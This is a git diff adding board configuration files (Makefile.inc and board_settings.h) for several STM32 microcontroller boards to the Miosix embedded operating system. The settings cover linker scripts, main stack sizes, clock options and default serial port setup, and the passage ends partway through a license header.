file mode 100644 index 000000000..d4bbbf80c --- /dev/null +++ b/miosix/config/board/stm32f100xb_generic/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f100xb_generic +## Included by the board's makefile +## + +# Select linker script: stm32f100c8 has 64K, stm32f100cb has 128K +#LINKER_SCRIPT := unikernel-64k+8k.ld +LINKER_SCRIPT := unikernel-128k+8k.ld diff --git a/miosix/config/board/stm32f100xb_generic/board_settings.h b/miosix/config/board/stm32f100xb_generic/board_settings.h new file mode 100644 index 000000000..4c31f9d70 --- /dev/null +++ b/miosix/config/board/stm32f100xb_generic/board_settings.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=2048; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI, HSE +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 24000000 +constexpr unsigned int cpuFrequency=24000000; + +/// Serial port +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f103c8_bluepill/Makefile.inc b/miosix/config/board/stm32f103c8_bluepill/Makefile.inc new file mode 100644 index 000000000..cc79f5ec9 --- /dev/null +++ b/miosix/config/board/stm32f103c8_bluepill/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f103c8_bluepill +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f103c8_bluepill/board_settings.h b/miosix/config/board/stm32f103c8_bluepill/board_settings.h new file mode 100644 index 000000000..35c872db7 --- /dev/null +++ b/miosix/config/board/stm32f103c8_bluepill/board_settings.h @@ -0,0 +1,98 @@ +/*************************************************************************** + * Copyright (C) 2011, 2012, 2013, 2014 by Terraneo Federico * + * Copyright (C) 2016 by Silvano Seva * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F103C8 has 20KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 24000000, 36000000, 48000000, 56000000, 72000000 +constexpr unsigned int cpuFrequency=72000000; + +/// Serial port +/// Serial ports 1 to 3 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +///\def STDOUT_REDIRECTED_TO_DCC +///If defined, stdout is redirected to the debug communication channel, and +///will be printed if OpenOCD is connected. If not defined, stdout will be +///redirected throug USART1, as usual. +//#define STDOUT_REDIRECTED_TO_DCC + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f103cb_als_mainboard_rev2/Makefile.inc b/miosix/config/board/stm32f103cb_als_mainboard_rev2/Makefile.inc new file mode 100644 index 000000000..fa4bf41c1 --- /dev/null +++ b/miosix/config/board/stm32f103cb_als_mainboard_rev2/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f103cb_als_mainboard_rev2 +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f103cb_als_mainboard_rev2/board_settings.h b/miosix/config/board/stm32f103cb_als_mainboard_rev2/board_settings.h new file mode 100644 index 000000000..74fd5e063 --- /dev/null +++ b/miosix/config/board/stm32f103cb_als_mainboard_rev2/board_settings.h @@ -0,0 +1,97 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F103CB has 20KB of RAM so use a small 1.5K stack. +const unsigned int MAIN_STACK_SIZE=1024+512; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 8000000 +constexpr unsigned int cpuFrequency=8000000; + +/// Serial port +/// Serial ports 1 to 3 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=false; //No DMA to save on code +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +///\def STDOUT_REDIRECTED_TO_DCC +///If defined, stdout is redirected to the debug communication channel, and +///will be printed if OpenOCD is connected. If not defined, stdout will be +///redirected throug USART1, as usual. +//#define STDOUT_REDIRECTED_TO_DCC + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f103ve_mp3v2/Makefile.inc b/miosix/config/board/stm32f103ve_mp3v2/Makefile.inc new file mode 100644 index 000000000..41e88bfbf --- /dev/null +++ b/miosix/config/board/stm32f103ve_mp3v2/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f103ve_mp3v2 +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f103ve_mp3v2/board_settings.h b/miosix/config/board/stm32f103ve_mp3v2/board_settings.h new file mode 100644 index 000000000..534c9e37a --- /dev/null +++ b/miosix/config/board/stm32f103ve_mp3v2/board_settings.h @@ -0,0 +1,94 @@ +/*************************************************************************** + * Copyright (C) 2011-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F103VE has 64KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 72000000 +constexpr unsigned int cpuFrequency=72000000; + +/// Serial port +/// Serial ports 1 to 5 are available (4 and 5 no DMA support) +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f103ve_strive_mini/Makefile.inc b/miosix/config/board/stm32f103ve_strive_mini/Makefile.inc new file mode 100644 index 000000000..cfa41b752 --- /dev/null +++ b/miosix/config/board/stm32f103ve_strive_mini/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f103ve_strive_mini +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f103ve_strive_mini/board_settings.h b/miosix/config/board/stm32f103ve_strive_mini/board_settings.h new file mode 100644 index 000000000..534c9e37a --- /dev/null +++ b/miosix/config/board/stm32f103ve_strive_mini/board_settings.h @@ -0,0 +1,94 @@ +/*************************************************************************** + * Copyright (C) 2011-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F103VE has 64KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 72000000 +constexpr unsigned int cpuFrequency=72000000; + +/// Serial port +/// Serial ports 1 to 5 are available (4 and 5 no DMA support) +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f103xb_generic/Makefile.inc b/miosix/config/board/stm32f103xb_generic/Makefile.inc new file mode 100644 index 000000000..02b94cdc5 --- /dev/null +++ b/miosix/config/board/stm32f103xb_generic/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f103xb_generic +## Included by the board's makefile +## + +## Select linker script, stm32f103c8 has 64K, stm32f103cb has 128K +#LINKER_SCRIPT := unikernel-64k+20k.ld +LINKER_SCRIPT := unikernel-128k+20k.ld diff --git a/miosix/config/board/stm32f103xb_generic/board_settings.h b/miosix/config/board/stm32f103xb_generic/board_settings.h new file mode 100644 index 000000000..4e86ef1ea --- /dev/null +++ b/miosix/config/board/stm32f103xb_generic/board_settings.h @@ -0,0 +1,90 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=2048; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI, HSE +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 24000000, 36000000, 48000000, 56000000, 72000000 +constexpr unsigned int cpuFrequency=24000000; + +/// Serial port +/// Serial ports 1 to 3 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f103ze_redbull_v2/Makefile.inc b/miosix/config/board/stm32f103ze_redbull_v2/Makefile.inc new file mode 100644 index 000000000..f81c5dd82 --- /dev/null +++ b/miosix/config/board/stm32f103ze_redbull_v2/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f103ze_redbull_v2 +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f103ze_redbull_v2/board_settings.h b/miosix/config/board/stm32f103ze_redbull_v2/board_settings.h new file mode 100644 index 000000000..534c9e37a --- /dev/null +++ b/miosix/config/board/stm32f103ze_redbull_v2/board_settings.h @@ -0,0 +1,94 @@ +/*************************************************************************** + * Copyright (C) 2011-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F103VE has 64KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 72000000 +constexpr unsigned int cpuFrequency=72000000; + +/// Serial port +/// Serial ports 1 to 5 are available (4 and 5 no DMA support) +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f103ze_stm3210e-eval/Makefile.inc b/miosix/config/board/stm32f103ze_stm3210e-eval/Makefile.inc new file mode 100644 index 000000000..bfb80e521 --- /dev/null +++ b/miosix/config/board/stm32f103ze_stm3210e-eval/Makefile.inc @@ -0,0 +1,23 @@ +## +## Options for board stm32f103ze_stm3210e-eval +## Included by the board's makefile +## + +## Select linker script + +## 1) Code in FLASH, stack + heap in internal RAM +#LINKER_SCRIPT := unikernel.ld + +## 2) Code in FLASH, IRQ stack, .data, .bss in internal RAM, heap in external RAM +LINKER_SCRIPT := unikernel-xram-heap.ld +XRAM := -D__ENABLE_XRAM + +## 3) Code + stack + heap in external RAM, Code runs *very* slow. Works only +## with a booloader that forwards interrrupts @ 0x68000000 +## (see miosix/tools/bootloaders for one). +#LINKER_SCRIPT := unikernel-all-in-xram.ld +#XRAM := -D__ENABLE_XRAM -D__CODE_IN_XRAM + +## 4) Code in FLASH, Kernel in internal RAM, Process pool in XRAM +#LINKER_SCRIPT := processes-xram.ld +#XRAM := -D__ENABLE_XRAM diff --git a/miosix/config/board/stm32f103ze_stm3210e-eval/board_settings.h b/miosix/config/board/stm32f103ze_stm3210e-eval/board_settings.h new file mode 100644 index 000000000..2db8f924a --- /dev/null +++ b/miosix/config/board/stm32f103ze_stm3210e-eval/board_settings.h @@ -0,0 +1,98 @@ +/*************************************************************************** + * Copyright (C) 2010-2021 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Use RTC as os_timer. This requires a 32kHz crystal to be connected to the +/// board, reduces timing resolution to only 16kHz and makes context switches +/// much slower (due to RTC limitations, minimum time beween two context +/// switches becomes 91us), but the os can keep precise time even when the CPU +/// is clocked with an RC oscillator and time is kept across deep sleep +//#define WITH_RTC_AS_OS_TIMER + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1.5KB) and the +/// STM32F103ZE has 64KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 24000000, 36000000, 48000000, 56000000, 72000000 +constexpr unsigned int cpuFrequency=72000000; + +/// Serial port +/// Serial ports 1 to 5 are available (4 and 5 no DMA support) +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +#ifndef __ENABLE_XRAM +const bool defaultSerialDma=true; +#else //__ENABLE_XRAM +const bool defaultSerialDma=false; //STM32F1 can't DMA to XRAM due to HW bug +#endif //__ENABLE_XRAM +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f205_generic/Makefile.inc b/miosix/config/board/stm32f205_generic/Makefile.inc new file mode 100644 index 000000000..d04e080c0 --- /dev/null +++ b/miosix/config/board/stm32f205_generic/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f205_generic +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f205_generic/board_settings.h b/miosix/config/board/stm32f205_generic/board_settings.h new file mode 100644 index 000000000..e5a54d906 --- /dev/null +++ b/miosix/config/board/stm32f205_generic/board_settings.h @@ -0,0 +1,95 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to 